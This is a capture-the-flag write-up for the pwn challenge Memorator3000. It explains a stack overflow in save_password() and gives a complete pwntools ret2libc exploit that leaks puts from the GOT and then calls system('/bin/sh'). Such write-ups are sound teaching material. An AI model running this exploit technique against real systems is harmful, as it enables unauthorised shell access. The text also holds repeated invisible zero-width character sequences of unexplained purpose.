← Back to Writeups
CUSTOMMediumpwn

Memorator3000

XESXOR9/2/20264 min read
#pwn#custom#medium#got_leak#ret2libc#stack_alignment#two_stage_rop#linux

Memorator3000

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: got_leak, ret2libc, stack_alignment, two_stage_rop

Summary

Task: a 64-bit menu-driven ELF exposes both a format string and a stack overflow, with save_password() reading 0x100 bytes into a 0x80-byte stack buffer. Solution: use the overflow in option 2 for a two-stage ret2libc attack, first leaking puts from the GOT and then calling system("/bin/sh") to read /flag.

Memorator3000 — hackerlab

Description

Original organizer description was not preserved in the local task files.

Memorator3000 is a 64-bit Linux binary with a simple looped menu:

  1. Leak info
  2. Save password
  3. Exit

The remote service was available at 62.173.140.174:27940. The goal was to exploit the binary, get a shell, and read the flag from /flag.

Analysis

Binary summary

  • ELF64, dynamically linked, not stripped
  • Partial RELRO
  • No canary
  • NX enabled
  • No PIE (0x400000 base)
  • SHSTK enabled
  • IBT enabled
  • Provided libc: libc.so.6 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These mitigations strongly suggest a ret2libc solution:

  • NX blocks direct shellcode on the stack
  • No PIE means the binary text base and ROP gadgets are fixed
  • No canary means the stack overflow can reach the saved return address cleanly
  • Partial RELRO leaves the GOT readable, which makes leaking libc straightforward

Although the binary also contains a format string in leak_info(), the cleanest path is the classic stack overflow in menu option 2.

Vulnerability

The bug is in save_password() at 0x401236. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Relevant layout:

  • local stack buffer: 0x80 bytes at [rbp-0x80]
  • vulnerable read: read(0, buf, 0x100)

So the function reads up to 0x100 bytes into a buffer that only holds 0x80 bytes.

That gives a textbook stack buffer overflow:

c
char buf[0x80];
read(0, buf, 0x100);

The saved return address is reached after:

  • 0x80 bytes to fill the buffer
  • 0x8 bytes to overwrite saved RBP

So the exact offset to RIP is:

text
0x80 + 0x8 = 0x88 = 136 bytes

Useful symbols and gadgets

  • pop rdi; ret = 0x4011be
  • ret = 0x4011c0
  • puts@plt = 0x401084
  • puts@got = 0x404018
  • main = 0x4012c5 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bundled libc offsets:

  • puts = 0x80e50
  • system = 0x50d70
  • "/bin/sh" = 0x1d8678

Why the format string was unnecessary

leak_info() contains the classic pattern:

c
scanf("%s", buf);
printf(buf);

That is exploitable, but it is more awkward than necessary here. Because option 2 already gives direct RIP control at a stable offset in a non-PIE binary, a two-stage ret2libc chain is simpler and more reliable.

Solution

Exploit plan

The exploit uses two-stage ret2libc.

Stage 1: leak puts from libc

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Build a ROP chain that calls:

c
puts(puts@got)

and then returns back to main so the program menu can be used again.

ROP layout:

text
padding(136)
pop rdi; ret
puts@got
puts@plt
main

Once the leaked address is received, compute:

text
libc_base = leaked_puts - 0x80e50

Example remote values:

  • leaked puts = 0x7f2355316e50
  • libc base = 0x7f2355296000

Stage 2: call system("/bin/sh")

With the libc base known, build the final chain:

text
padding(136)
ret                # stack alignment
pop rdi; ret
binsh
system

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The extra ret is used for stack alignment before calling system, which avoids crashes caused by stack alignment requirements in amd64 libc.

After spawning a shell, run:

bash
cat /flag

This returned:

text
CODEBY{REDACTED}

Interaction detail that matters

The menu uses scanf, while the vulnerable path uses read. In practice, using:

  • sendlineafter() for menu choices
  • sendafter() for the password prompt

avoids newline desynchronization and leftover input problems. That detail is important for making the exploit stable both locally and remotely. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Local validation

The exploit was tested locally first inside a Docker environment matching linux/amd64 Ubuntu 22.04 with the provided binary and libc. The same exploit then worked against the remote service without changes other than the connection target.

Working exploit script

python
#!/usr/bin/env python3
from pwn import *

HOST = "62.173.140.174"
PORT = 27940

context.binary = elf = ELF("./memorator3000", checksec=False)
context.arch = "amd64"
libc = ELF("./libc.so.6", checksec=False)

OFFSET = 136
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POP_RDI = 0x4011BE
RET = 0x4011C0
PUTS_PLT = 0x401084
PUTS_GOT = 0x404018
MAIN = 0x4012C5


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process([elf.path])


def choose(io, choice):
    io.sendlineafter(b"> ", str(choice).encode())


def save_password(io, data):
    choose(io, 2)
    io.sendafter(b"password: ", data)


def stage1(io):
    payload = flat(
        b"A" * OFFSET,
        POP_RDI,
        PUTS_GOT,
        PUTS_PLT,
        MAIN,
    )

    save_password(io, payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    leak = io.recvuntil(b"1. Leak info", drop=True)
    leaked_puts = u64(leak.split(b"\n")[-1].strip().ljust(8, b"\x00"))
    log.info(f"puts leak = {hex(leaked_puts)}")

    libc.address = leaked_puts - 0x80E50
    log.info(f"libc base = {hex(libc.address)}")


def stage2(io):
    system = libc.address + 0x50D70
    binsh = libc.address + 0x1D8678

    payload = flat(
        b"A" * OFFSET,
        RET,
        POP_RDI,
        binsh,
        system,
    )

    save_password(io, payload)


def main():
    io = start()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    stage1(io)
    stage2(io)

    io.sendline(b"cat /flag")
    io.interactive()


if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍